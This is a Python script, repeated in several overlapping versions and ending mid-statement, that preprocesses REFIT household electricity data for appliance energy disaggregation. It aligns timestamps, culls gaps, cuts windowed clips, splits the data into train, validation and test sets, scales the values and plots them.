np.save('data\\REFIT\\after_culling_2\\%s\\%d_%d.npy' % ( appliance_name, house_id, channel_id), new_data) print('House %d %s complete!' % (house_id, appliance_name)) def separate(appliance_name): window_width = refit_cfg.window_width[appliance_name] data_path = 'data\\REFIT\\after_culling\\%s' % appliance_name count = 0 appliance_train_validation = [] appliance_test = [] main_train_validation = [] main_test = [] for house_id, channel_id in refit_cfg.train_validation[appliance_name ].items(): appliance_train_validation.clear() main_train_validation.clear() data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id, channel_id))) current_head = 0 data_length = len(data) end = data_length - window_width - 1 while current_head < end: temp_main = [] temp_appliance = [] for i in range(current_head, current_head + window_width): temp_main.append(data[i][0]) temp_appliance.append(data[i][1]) r = random.random() current_head += int(window_width * r) appliance_train_validation.append(temp_appliance) main_train_validation.append(temp_main) count += 1 if count % 1000 == 0: print('T & V 1: House %d %f' % (house_id, current_head / data_length)) data_length -= window_width random_clip = refit_cfg.random_clip[appliance_name] for i in range(random_clip): r = random.random() start = int(r * data_length) temp_main = [] temp_appliance = [] for j in range(start, start + window_width): temp_main.append(data[j][0]) temp_appliance.append(data[j][1]) appliance_train_validation.append(temp_appliance) main_train_validation.append(temp_main) count += 1 if count % 1000 == 0: print('T & V 2: House %d %f' % (house_id, i / random_clip)) print('Train & Validation: House %d %s complete!' % (house_id, appliance_name)) np.save(os.path.join(data_path, '1024\\appliance_train_validation_%d.npy' % house_id), appliance_train_validation) np.save(os.path.join(data_path, '1024\\main_train_validation_%d.npy' % house_id), main_train_validation) count = 0 for house_id, channel_id in refit_cfg.test[appliance_name].items(): appliance_test.clear() main_test.clear() data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id, channel_id))) current_head = 0 data_length = len(data) end = data_length - window_width - 1 while current_head < end: temp_main = [] temp_appliance = [] for i in range(current_head, current_head + window_width): temp_main.append(data[i][0]) temp_appliance.append(data[i][1]) r = random.random() current_head += int(r * window_width) appliance_test.append(temp_appliance) main_test.append(temp_main) count += 1 if count % 1000 == 0: print('Test 1: House %d %f' % (house_id, current_head / data_length)) data_length -= window_width for i in range(refit_cfg.random_clip[appliance_name]): r = random.random() start = int(r * data_length) temp_main = [] temp_appliance = [] for j in range(start, start + window_width): temp_main.append(data[j][0]) temp_appliance.append(data[j][1]) appliance_test.append(temp_appliance) main_test.append(temp_main) count += 1 if count % 1000 == 0: print('Test 2: House %d %f' % (house_id, i / data_length)) print('Test 2: House %d %s complete!' % (house_id, appliance_name)) np.save(os.path.join(data_path, '1024\\appliance_test_%d.npy' % house_id), appliance_test) np.save(os.path.join(data_path, '1024\\main_test_%d.npy' % house_id ), main_test) <|reserved_special_token_0|> def train_validation_split(appliance_name): data_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance = np.load(os.path.join(data_path, 'appliance_train_validation.npy')) main = np.load(os.path.join(data_path, 'main_train_validation.npy')) appliance_train, appliance_validation, main_train, main_validation = ( train_test_split(appliance, main, test_size=0.2)) print(len(appliance_train)) print(len(main_train)) np.save(os.path.join(data_path, 'appliance_train.npy'), appliance_train) np.save(os.path.join(data_path, 'main_train.npy'), main_train) np.save(os.path.join(data_path, 'appliance_validation.npy'), appliance_validation) np.save(os.path.join(data_path, 'main_validation.npy'), main_validation) <|reserved_special_token_0|> def positive_negative(appliance_name): base_path = 'data\\REFIT\\after_culling\\%s' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy')) count = 0 threshold = [0, 50, 100, 200, 500, 1000, 2000, 5000, 10000] d = {} for i in range(len(threshold)): d[threshold[i]] = 0 print(d) for th in threshold: for i in appliance_data: sum = 0 for j in i: sum += int(j) if sum > th: d[th] += 1 print('Thres %d complete!' % th) for thres, count in d.items(): print('Thres: %d %d/%d %f' % (thres, count, len(appliance_data), count / len(appliance_data))) def clip_view(appliance_name, thres): base_path = 'data\\REFIT\\after_culling\\%s' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy')) count = 0 for i in appliance_data: sum = 0 for j in i: sum += int(j) if sum > thres: plt.figure(figsize=(25, 10), dpi=100) plt.plot(i.astype(int)) savefig(os.path.join(base_path, 'clip_view\\%d.jpg' % count)) plt.close() count += 1 def test_process(appliance_name): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_test_512.npy')) temp = [0.0] * 512 new_app = [] for i in range(len(appliance_data)): max = np.max(appliance_data[i]) if max < 0.05: print(max) new_app.append(temp) else: new_app.append(appliance_data[i]) np.save(os.path.join(base_path, 'appliance_test_512.npy'), new_app) def separate_positive_negative(appliance_name, thres, peak): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy')) main_data = np.load(os.path.join(base_path, 'main_train.npy')) count = 0 appliance_positive = [] appliance_negative = [] main_positive = [] main_negative = [] appliance_temp = [0] * 1024 for i in range(len(appliance_data)): sum = 0 max = 0 for j in appliance_data[i]: sum += int(j) for j in range(512): if int(appliance_data[i][j + 256]) > max: max = int(appliance_data[i][j + 256]) if max < peak: sum = 0 if sum > thres: appliance_positive.append(appliance_data[i]) main_positive.append(main_data[i]) else: appliance_negative.append(appliance_temp) main_negative.append(main_data[i]) if i % 1000 == 0: print('Processing: %f' % (i / len(appliance_data))) np.save(os.path.join(base_path, 'appliance_positive.npy'), appliance_positive) np.save(os.path.join(base_path, 'main_positive.npy'), main_positive) np.save(os.path.join(base_path, 'appliance_negative.npy'), appliance_negative) np.save(os.path.join(base_path, 'main_negative.npy'), main_negative) <|reserved_special_token_0|> def shrink(appliance_name, scale): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train_balanced.npy')) main_data = np.load(os.path.join(base_path, 'main_train_balanced.npy')) appliance_new = [] main_new = [] print('Data load complete!') for i in range(len(appliance_data)): appliance_temp = [] main_temp = [] for j in range(len(appliance_data[i])): appliance_temp.append(float(int(appliance_data[i][j]) / scale)) for j in range(len(main_data[i])): main_temp.append(float(int(main_data[i][j]) / scale)) appliance_new.append(appliance_temp) main_new.append(main_temp) print('Process complete!') np.save(os.path.join(base_path, 'appliance_train_%d.npy' % scale), appliance_new) np.save(os.path.join(base_path, 'main_train_%d.npy' % scale), main_new) def shrink_validation(appliance_name, scale): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_validation.npy')) main_data = np.load(os.path.join(base_path, 'main_validation.npy')) appliance_new = [] main_new = [] print('Data load complete!') for i in range(len(appliance_data)): appliance_temp = [] main_temp = [] for j in range(len(appliance_data[i])): appliance_temp.append(float(int(appliance_data[i][j]) / scale)) for j in range(len(main_data[i])): main_temp.append(float(int(main_data[i][j]) / scale)) appliance_new.append(appliance_temp) main_new.append(main_temp) print('Process complete!') np.save(os.path.join(base_path, 'appliance_validation_%d.npy' % scale), appliance_new) np.save(os.path.join(base_path, 'main_validation_%d.npy' % scale), main_new ) def appliance_1024to512(appliance_name): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_train = np.load(os.path.join(base_path, 'appliance_train_1000.npy')) appliance_validation = np.load(os.path.join(base_path, 'appliance_validation_1000.npy')) appliance_test = np.load(os.path.join(base_path, 'appliance_test_1000.npy') ) at_new = [] av_new = [] ae_new = [] for i in range(len(appliance_train)): at_temp = [] for j in range(256, 768): at_temp.append(float(appliance_train[i][j])) at_new.append(at_temp) for i in range(len(appliance_validation)): av_temp = [] for j in range(256, 768): av_temp.append(float(appliance_validation[i][j])) av_new.append(av_temp) for i in range(len(appliance_test)): ae_temp = [] for j in range(256, 768): ae_temp.append(float(appliance_test[i][j])) ae_new.append(ae_temp) np.save(os.path.join(base_path, 'appliance_train_512.npy'), at_new) np.save(os.path.join(base_path, 'appliance_validation_512.npy'), av_new) np.save(os.path.join(base_path, 'appliance_test_512.npy'), ae_new) def shrink_test(appliance_name, scale): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_test.npy')) main_data = np.load(os.path.join(base_path, 'main_test.npy')) appliance_new = [] main_new = [] print('Data load complete!') for i in range(len(appliance_data)): appliance_temp = [] main_temp = [] for j in range(len(appliance_data[i])): appliance_temp.append(float(int(appliance_data[i][j]) / scale)) for j in range(len(main_data[i])): main_temp.append(float(int(main_data[i][j]) / scale)) appliance_new.append(appliance_temp) main_new.append(main_temp) print('Process complete!') np.save(os.path.join(base_path, 'appliance_test_1000.npy'), appliance_new) np.save(os.path.join(base_path, 'main_test_1000.npy'), main_new) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def align_process(house_id): data = np.load('data\\REFIT\\original_data\\%d.npy' % house_id) new_data = [] current_index = 0 current_time = int(data[0][0]) end_time = int(data[-1][0]) + 8 interval_threshold = refit_cfg.separation_threshold isend = 0 data_length = len(data) while current_time <= end_time: current_interval = int(data[current_index + 1][0]) - int(data[ current_index][0]) if current_interval < interval_threshold: if current_time > int(data[current_index][0]): temp_index = current_index + 1 while current_time > int(data[temp_index][0]): temp_index += 1 if temp_index > data_length - 1: temp_index -= 1 break if abs(current_time - int(data[temp_index - 1][0])) > abs( int(data[temp_index][0]) - current_time): current_index = temp_index if temp_index == data_length - 1: print('The end!') isend = 1 else: current_index = temp_index - 1 t = [] for element in data[current_index]: t.append(element) t[0] = current_time new_data.append(t) if isend == 1: break current_time += 8 if current_index % 1000 == 0: print('House %d processing: %f' % (house_id, current_index / data_length)) else: current_index += 1 current_time = int(data[current_index][0]) np.save('data\\REFIT\\after_align\\%d.npy' % house_id, new_data) <|reserved_special_token_0|> def show_appliance(house_id, appliance_name): channel_id = appliance_dict[appliance_name][house_id] data = np.load('data\\REFIT\\after_align\\%s\\%d_%d.npy' % ( appliance_name, house_id, channel_id)) print(len(data)) mains = [] app = [] for i in data: mains.append(int(i[0])) app.append(int(i[1])) plt.figure(figsize=(20, 8)) plt.plot(mains) plt.plot(app) plt.show() def cull(cull_dict): for appliance_name, _dict in cull_dict.items(): path = 'data\\REFIT\\after_culling\\%s' % appliance_name if not os.path.exists(path): os.mkdir(path) for house_id, cull_list in _dict.items(): channel_id = appliance_dict[appliance_name][house_id] data = np.load('data\\REFIT\\after_align\\%s\\%d_%d.npy' % ( appliance_name, house_id, channel_id)) new_data = [] _cull_list = [[0, cull_list[0][0]]] for i in range(len(cull_list) - 1): _cull_list.append([cull_list[i][1], cull_list[i + 1][0]]) _cull_list.append([cull_list[-1][1], len(data) - 1]) for i in _cull_list: if i[1] - i[0] != 0: for j in range(i[0], i[1]): new_data.append(data[j]) np.save('data\\REFIT\\after_culling\\%s\\%d_%d.npy' % ( appliance_name, house_id, channel_id), new_data) print('House %d %s complete!' % (house_id, appliance_name)) def appliance_separation(dict, appliance_name): """ 将各个电器的数据进行分解,放置到appliance_data文件夹下对应电器的文件夹中,以house_id和channel_id进行命名 :param dict: 电器数据来源 :param appliance_name: 当前电器的名称,用以创建文件夹 :return: """ path = 'data\\REFIT\\appliance_data\\%s' % appliance_name if not os.path.exists(path): os.mkdir(path) for house_id, channel_id in dict.items(): data = np.load('data\\REFIT\\after_align\\%d.npy' % house_id) appliance_data = [] for row in data: appliance_data.append([row[1], row[channel_id + 1]]) np.save(os.path.join(path, '%d_%d.npy' % (house_id, channel_id)), appliance_data) print('Appliance %s House %d complete!' % (appliance_name, house_id)) <|reserved_special_token_0|> def cull(cull_dict): """ 根据画的图,将大段的空缺段进行删除,删除之后,需要进行比对 :param cull_dict: :return: """ for appliance_name, _dict in cull_dict.items(): path = 'data\\REFIT\\after_culling_2\\%s' % appliance_name if not os.path.exists(path): os.mkdir(path) for house_id, cull_list in _dict.items(): channel_id = appliance_dict[appliance_name][house_id] data = np.load('data\\REFIT\\after_culling_2\\%s\\%d_%d.npy' % (appliance_name, house_id, channel_id)) new_data = [] _cull_list = [[0, cull_list[0][0]]] for i in range(len(cull_list) - 1): _cull_list.append([cull_list[i][1], cull_list[i + 1][0]]) _cull_list.append([cull_list[-1][1], len(data) - 1]) for i in _cull_list: if i[1] - i[0] != 0: for j in range(i[0], i[1]): new_data.append(data[j]) np.save('data\\REFIT\\after_culling_2\\%s\\%d_%d.npy' % ( appliance_name, house_id, channel_id), new_data) print('House %d %s complete!' % (house_id, appliance_name)) def separate(appliance_name): window_width = refit_cfg.window_width[appliance_name] data_path = 'data\\REFIT\\after_culling\\%s' % appliance_name count = 0 appliance_train_validation = [] appliance_test = [] main_train_validation = [] main_test = [] for house_id, channel_id in refit_cfg.train_validation[appliance_name ].items(): appliance_train_validation.clear() main_train_validation.clear() data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id, channel_id))) current_head = 0 data_length = len(data) end = data_length - window_width - 1 while current_head < end: temp_main = [] temp_appliance = [] for i in range(current_head, current_head + window_width): temp_main.append(data[i][0]) temp_appliance.append(data[i][1]) r = random.random() current_head += int(window_width * r) appliance_train_validation.append(temp_appliance) main_train_validation.append(temp_main) count += 1 if count % 1000 == 0: print('T & V 1: House %d %f' % (house_id, current_head / data_length)) data_length -= window_width random_clip = refit_cfg.random_clip[appliance_name] for i in range(random_clip): r = random.random() start = int(r * data_length) temp_main = [] temp_appliance = [] for j in range(start, start + window_width): temp_main.append(data[j][0]) temp_appliance.append(data[j][1]) appliance_train_validation.append(temp_appliance) main_train_validation.append(temp_main) count += 1 if count % 1000 == 0: print('T & V 2: House %d %f' % (house_id, i / random_clip)) print('Train & Validation: House %d %s complete!' % (house_id, appliance_name)) np.save(os.path.join(data_path, '1024\\appliance_train_validation_%d.npy' % house_id), appliance_train_validation) np.save(os.path.join(data_path, '1024\\main_train_validation_%d.npy' % house_id), main_train_validation) count = 0 for house_id, channel_id in refit_cfg.test[appliance_name].items(): appliance_test.clear() main_test.clear() data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id, channel_id))) current_head = 0 data_length = len(data) end = data_length - window_width - 1 while current_head < end: temp_main = [] temp_appliance = [] for i in range(current_head, current_head + window_width): temp_main.append(data[i][0]) temp_appliance.append(data[i][1]) r = random.random() current_head += int(r * window_width) appliance_test.append(temp_appliance) main_test.append(temp_main) count += 1 if count % 1000 == 0: print('Test 1: House %d %f' % (house_id, current_head / data_length)) data_length -= window_width for i in range(refit_cfg.random_clip[appliance_name]): r = random.random() start = int(r * data_length) temp_main = [] temp_appliance = [] for j in range(start, start + window_width): temp_main.append(data[j][0]) temp_appliance.append(data[j][1]) appliance_test.append(temp_appliance) main_test.append(temp_main) count += 1 if count % 1000 == 0: print('Test 2: House %d %f' % (house_id, i / data_length)) print('Test 2: House %d %s complete!' % (house_id, appliance_name)) np.save(os.path.join(data_path, '1024\\appliance_test_%d.npy' % house_id), appliance_test) np.save(os.path.join(data_path, '1024\\main_test_%d.npy' % house_id ), main_test) <|reserved_special_token_0|> def train_validation_split(appliance_name): data_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance = np.load(os.path.join(data_path, 'appliance_train_validation.npy')) main = np.load(os.path.join(data_path, 'main_train_validation.npy')) appliance_train, appliance_validation, main_train, main_validation = ( train_test_split(appliance, main, test_size=0.2)) print(len(appliance_train)) print(len(main_train)) np.save(os.path.join(data_path, 'appliance_train.npy'), appliance_train) np.save(os.path.join(data_path, 'main_train.npy'), main_train) np.save(os.path.join(data_path, 'appliance_validation.npy'), appliance_validation) np.save(os.path.join(data_path, 'main_validation.npy'), main_validation) <|reserved_special_token_0|> def positive_negative(appliance_name): base_path = 'data\\REFIT\\after_culling\\%s' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy')) count = 0 threshold = [0, 50, 100, 200, 500, 1000, 2000, 5000, 10000] d = {} for i in range(len(threshold)): d[threshold[i]] = 0 print(d) for th in threshold: for i in appliance_data: sum = 0 for j in i: sum += int(j) if sum > th: d[th] += 1 print('Thres %d complete!' % th) for thres, count in d.items(): print('Thres: %d %d/%d %f' % (thres, count, len(appliance_data), count / len(appliance_data))) def clip_view(appliance_name, thres): base_path = 'data\\REFIT\\after_culling\\%s' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy')) count = 0 for i in appliance_data: sum = 0 for j in i: sum += int(j) if sum > thres: plt.figure(figsize=(25, 10), dpi=100) plt.plot(i.astype(int)) savefig(os.path.join(base_path, 'clip_view\\%d.jpg' % count)) plt.close() count += 1 def test_process(appliance_name): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_test_512.npy')) temp = [0.0] * 512 new_app = [] for i in range(len(appliance_data)): max = np.max(appliance_data[i]) if max < 0.05: print(max) new_app.append(temp) else: new_app.append(appliance_data[i]) np.save(os.path.join(base_path, 'appliance_test_512.npy'), new_app) def separate_positive_negative(appliance_name, thres, peak): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy')) main_data = np.load(os.path.join(base_path, 'main_train.npy')) count = 0 appliance_positive = [] appliance_negative = [] main_positive = [] main_negative = [] appliance_temp = [0] * 1024 for i in range(len(appliance_data)): sum = 0 max = 0 for j in appliance_data[i]: sum += int(j) for j in range(512): if int(appliance_data[i][j + 256]) > max: max = int(appliance_data[i][j + 256]) if max < peak: sum = 0 if sum > thres: appliance_positive.append(appliance_data[i]) main_positive.append(main_data[i]) else: appliance_negative.append(appliance_temp) main_negative.append(main_data[i]) if i % 1000 == 0: print('Processing: %f' % (i / len(appliance_data))) np.save(os.path.join(base_path, 'appliance_positive.npy'), appliance_positive) np.save(os.path.join(base_path, 'main_positive.npy'), main_positive) np.save(os.path.join(base_path, 'appliance_negative.npy'), appliance_negative) np.save(os.path.join(base_path, 'main_negative.npy'), main_negative) <|reserved_special_token_0|> def shrink(appliance_name, scale): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train_balanced.npy')) main_data = np.load(os.path.join(base_path, 'main_train_balanced.npy')) appliance_new = [] main_new = [] print('Data load complete!') for i in range(len(appliance_data)): appliance_temp = [] main_temp = [] for j in range(len(appliance_data[i])): appliance_temp.append(float(int(appliance_data[i][j]) / scale)) for j in range(len(main_data[i])): main_temp.append(float(int(main_data[i][j]) / scale)) appliance_new.append(appliance_temp) main_new.append(main_temp) print('Process complete!') np.save(os.path.join(base_path, 'appliance_train_%d.npy' % scale), appliance_new) np.save(os.path.join(base_path, 'main_train_%d.npy' % scale), main_new) def shrink_validation(appliance_name, scale): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_validation.npy')) main_data = np.load(os.path.join(base_path, 'main_validation.npy')) appliance_new = [] main_new = [] print('Data load complete!') for i in range(len(appliance_data)): appliance_temp = [] main_temp = [] for j in range(len(appliance_data[i])): appliance_temp.append(float(int(appliance_data[i][j]) / scale)) for j in range(len(main_data[i])): main_temp.append(float(int(main_data[i][j]) / scale)) appliance_new.append(appliance_temp) main_new.append(main_temp) print('Process complete!') np.save(os.path.join(base_path, 'appliance_validation_%d.npy' % scale), appliance_new) np.save(os.path.join(base_path, 'main_validation_%d.npy' % scale), main_new ) def appliance_1024to512(appliance_name): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_train = np.load(os.path.join(base_path, 'appliance_train_1000.npy')) appliance_validation = np.load(os.path.join(base_path, 'appliance_validation_1000.npy')) appliance_test = np.load(os.path.join(base_path, 'appliance_test_1000.npy') ) at_new = [] av_new = [] ae_new = [] for i in range(len(appliance_train)): at_temp = [] for j in range(256, 768): at_temp.append(float(appliance_train[i][j])) at_new.append(at_temp) for i in range(len(appliance_validation)): av_temp = [] for j in range(256, 768): av_temp.append(float(appliance_validation[i][j])) av_new.append(av_temp) for i in range(len(appliance_test)): ae_temp = [] for j in range(256, 768): ae_temp.append(float(appliance_test[i][j])) ae_new.append(ae_temp) np.save(os.path.join(base_path, 'appliance_train_512.npy'), at_new) np.save(os.path.join(base_path, 'appliance_validation_512.npy'), av_new) np.save(os.path.join(base_path, 'appliance_test_512.npy'), ae_new) def shrink_test(appliance_name, scale): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_test.npy')) main_data = np.load(os.path.join(base_path, 'main_test.npy')) appliance_new = [] main_new = [] print('Data load complete!') for i in range(len(appliance_data)): appliance_temp = [] main_temp = [] for j in range(len(appliance_data[i])): appliance_temp.append(float(int(appliance_data[i][j]) / scale)) for j in range(len(main_data[i])): main_temp.append(float(int(main_data[i][j]) / scale)) appliance_new.append(appliance_temp) main_new.append(main_temp) print('Process complete!') np.save(os.path.join(base_path, 'appliance_test_1000.npy'), appliance_new) np.save(os.path.join(base_path, 'main_test_1000.npy'), main_new) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def align_process(house_id): data = np.load('data\\REFIT\\original_data\\%d.npy' % house_id) new_data = [] current_index = 0 current_time = int(data[0][0]) end_time = int(data[-1][0]) + 8 interval_threshold = refit_cfg.separation_threshold isend = 0 data_length = len(data) while current_time <= end_time: current_interval = int(data[current_index + 1][0]) - int(data[ current_index][0]) if current_interval < interval_threshold: if current_time > int(data[current_index][0]): temp_index = current_index + 1 while current_time > int(data[temp_index][0]): temp_index += 1 if temp_index > data_length - 1: temp_index -= 1 break if abs(current_time - int(data[temp_index - 1][0])) > abs( int(data[temp_index][0]) - current_time): current_index = temp_index if temp_index == data_length - 1: print('The end!') isend = 1 else: current_index = temp_index - 1 t = [] for element in data[current_index]: t.append(element) t[0] = current_time new_data.append(t) if isend == 1: break current_time += 8 if current_index % 1000 == 0: print('House %d processing: %f' % (house_id, current_index / data_length)) else: current_index += 1 current_time = int(data[current_index][0]) np.save('data\\REFIT\\after_align\\%d.npy' % house_id, new_data) def visual(house_id, channel_id, start, length): data = np.load('data\\REFIT\\after_align\\%d.npy' % house_id) print(len(data)) target = [] c = channel_id + 1 for r in data: target.append(int(r[c])) y = target[start:start + length] plt.plot(y) plt.show() def diff(house_id): data = np.load('data\\REFIT\\after_align\\%d.npy' % house_id) d = [] for i in range(len(data) - 1): d.append(int(data[i + 1][0]) - int(data[i][0])) plt.plot(d) plt.show() plt.close() def appliance_separation(dict, appliance_name): path = 'data\\REFIT\\appliance_data\\%s' % appliance_name if not os.path.exists(path): os.mkdir(path) for house_id, channel_id in dict.items(): data = np.load('data\\REFIT\\after_align\\%d.npy' % house_id) appliance_data = [] for row in data: appliance_data.append([row[1], row[channel_id + 1]]) np.save(os.path.join(path, '%d_%d.npy' % (house_id, channel_id)), appliance_data) print('Appliance %s House %d complete!' % (appliance_name, house_id)) def show_appliance(house_id, appliance_name): channel_id = appliance_dict[appliance_name][house_id] data = np.load('data\\REFIT\\after_align\\%s\\%d_%d.npy' % ( appliance_name, house_id, channel_id)) print(len(data)) mains = [] app = [] for i in data: mains.append(int(i[0])) app.append(int(i[1])) plt.figure(figsize=(20, 8)) plt.plot(mains) plt.plot(app) plt.show() def cull(cull_dict): for appliance_name, _dict in cull_dict.items(): path = 'data\\REFIT\\after_culling\\%s' % appliance_name if not os.path.exists(path): os.mkdir(path) for house_id, cull_list in _dict.items(): channel_id = appliance_dict[appliance_name][house_id] data = np.load('data\\REFIT\\after_align\\%s\\%d_%d.npy' % ( appliance_name, house_id, channel_id)) new_data = [] _cull_list = [[0, cull_list[0][0]]] for i in range(len(cull_list) - 1): _cull_list.append([cull_list[i][1], cull_list[i + 1][0]]) _cull_list.append([cull_list[-1][1], len(data) - 1]) for i in _cull_list: if i[1] - i[0] != 0: for j in range(i[0], i[1]): new_data.append(data[j]) np.save('data\\REFIT\\after_culling\\%s\\%d_%d.npy' % ( appliance_name, house_id, channel_id), new_data) print('House %d %s complete!' % (house_id, appliance_name)) def appliance_separation(dict, appliance_name): """ 将各个电器的数据进行分解,放置到appliance_data文件夹下对应电器的文件夹中,以house_id和channel_id进行命名 :param dict: 电器数据来源 :param appliance_name: 当前电器的名称,用以创建文件夹 :return: """ path = 'data\\REFIT\\appliance_data\\%s' % appliance_name if not os.path.exists(path): os.mkdir(path) for house_id, channel_id in dict.items(): data = np.load('data\\REFIT\\after_align\\%d.npy' % house_id) appliance_data = [] for row in data: appliance_data.append([row[1], row[channel_id + 1]]) np.save(os.path.join(path, '%d_%d.npy' % (house_id, channel_id)), appliance_data) print('Appliance %s House %d complete!' % (appliance_name, house_id)) def show_appliance(house_id, appliance_name): """ 具体观察每个电器的图形表示,将大段的数据缺失或者数据错误进行标注,构造cull_dict字典,在cull进行片段删除 :param house_id: :param appliance_name: :return: """ channel_id = appliance_dict[appliance_name][house_id] data = np.load('data\\REFIT\\after_culling\\%s\\%d_%d.npy' % ( appliance_name, house_id, channel_id)) print(len(data)) mains = [] app = [] for i in data: mains.append(int(i[0])) app.append(int(i[1])) plt.figure(figsize=(20, 8)) plt.plot(mains) plt.plot(app) plt.show() def cull(cull_dict): """ 根据画的图,将大段的空缺段进行删除,删除之后,需要进行比对 :param cull_dict: :return: """ for appliance_name, _dict in cull_dict.items(): path = 'data\\REFIT\\after_culling_2\\%s' % appliance_name if not os.path.exists(path): os.mkdir(path) for house_id, cull_list in _dict.items(): channel_id = appliance_dict[appliance_name][house_id] data = np.load('data\\REFIT\\after_culling_2\\%s\\%d_%d.npy' % (appliance_name, house_id, channel_id)) new_data = [] _cull_list = [[0, cull_list[0][0]]] for i in range(len(cull_list) - 1): _cull_list.append([cull_list[i][1], cull_list[i + 1][0]]) _cull_list.append([cull_list[-1][1], len(data) - 1]) for i in _cull_list: if i[1] - i[0] != 0: for j in range(i[0], i[1]): new_data.append(data[j]) np.save('data\\REFIT\\after_culling_2\\%s\\%d_%d.npy' % ( appliance_name, house_id, channel_id), new_data) print('House %d %s complete!' % (house_id, appliance_name)) def separate(appliance_name): window_width = refit_cfg.window_width[appliance_name] data_path = 'data\\REFIT\\after_culling\\%s' % appliance_name count = 0 appliance_train_validation = [] appliance_test = [] main_train_validation = [] main_test = [] for house_id, channel_id in refit_cfg.train_validation[appliance_name ].items(): appliance_train_validation.clear() main_train_validation.clear() data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id, channel_id))) current_head = 0 data_length = len(data) end = data_length - window_width - 1 while current_head < end: temp_main = [] temp_appliance = [] for i in range(current_head, current_head + window_width): temp_main.append(data[i][0]) temp_appliance.append(data[i][1]) r = random.random() current_head += int(window_width * r) appliance_train_validation.append(temp_appliance) main_train_validation.append(temp_main) count += 1 if count % 1000 == 0: print('T & V 1: House %d %f' % (house_id, current_head / data_length)) data_length -= window_width random_clip = refit_cfg.random_clip[appliance_name] for i in range(random_clip): r = random.random() start = int(r * data_length) temp_main = [] temp_appliance = [] for j in range(start, start + window_width): temp_main.append(data[j][0]) temp_appliance.append(data[j][1]) appliance_train_validation.append(temp_appliance) main_train_validation.append(temp_main) count += 1 if count % 1000 == 0: print('T & V 2: House %d %f' % (house_id, i / random_clip)) print('Train & Validation: House %d %s complete!' % (house_id, appliance_name)) np.save(os.path.join(data_path, '1024\\appliance_train_validation_%d.npy' % house_id), appliance_train_validation) np.save(os.path.join(data_path, '1024\\main_train_validation_%d.npy' % house_id), main_train_validation) count = 0 for house_id, channel_id in refit_cfg.test[appliance_name].items(): appliance_test.clear() main_test.clear() data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id, channel_id))) current_head = 0 data_length = len(data) end = data_length - window_width - 1 while current_head < end: temp_main = [] temp_appliance = [] for i in range(current_head, current_head + window_width): temp_main.append(data[i][0]) temp_appliance.append(data[i][1]) r = random.random() current_head += int(r * window_width) appliance_test.append(temp_appliance) main_test.append(temp_main) count += 1 if count % 1000 == 0: print('Test 1: House %d %f' % (house_id, current_head / data_length)) data_length -= window_width for i in range(refit_cfg.random_clip[appliance_name]): r = random.random() start = int(r * data_length) temp_main = [] temp_appliance = [] for j in range(start, start + window_width): temp_main.append(data[j][0]) temp_appliance.append(data[j][1]) appliance_test.append(temp_appliance) main_test.append(temp_main) count += 1 if count % 1000 == 0: print('Test 2: House %d %f' % (house_id, i / data_length)) print('Test 2: House %d %s complete!' % (house_id, appliance_name)) np.save(os.path.join(data_path, '1024\\appliance_test_%d.npy' % house_id), appliance_test) np.save(os.path.join(data_path, '1024\\main_test_%d.npy' % house_id ), main_test) def clip_visual(appliance_name): base_path = 'data\\REFIT\\after_culling\\%s' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train_.npy')) main_data = np.load(os.path.join(base_path, 'main_train_.npy')) print('Data load complete!') loop = 1000 x = np.linspace(256, 768, 512) length = len(appliance_data) for i in range(loop): r = int(random.random() * length) plt.figure(figsize=(25, 10), dpi=100) plt.subplot(211) plt.xlim(0, 1024) plt.plot(main_data[r]) plt.subplot(212) plt.xlim(0, 1024) plt.plot(x, appliance_data[r]) savefig(os.path.join(base_path, 'clip_view\\%d.jpg' % i)) plt.close() def train_validation_split(appliance_name): data_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance = np.load(os.path.join(data_path, 'appliance_train_validation.npy')) main = np.load(os.path.join(data_path, 'main_train_validation.npy')) appliance_train, appliance_validation, main_train, main_validation = ( train_test_split(appliance, main, test_size=0.2)) print(len(appliance_train)) print(len(main_train)) np.save(os.path.join(data_path, 'appliance_train.npy'), appliance_train) np.save(os.path.join(data_path, 'main_train.npy'), main_train) np.save(os.path.join(data_path, 'appliance_validation.npy'), appliance_validation) np.save(os.path.join(data_path, 'main_validation.npy'), main_validation) def data_integration(appliance_name): data_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance = [] main = [] for house_id, channel_id in 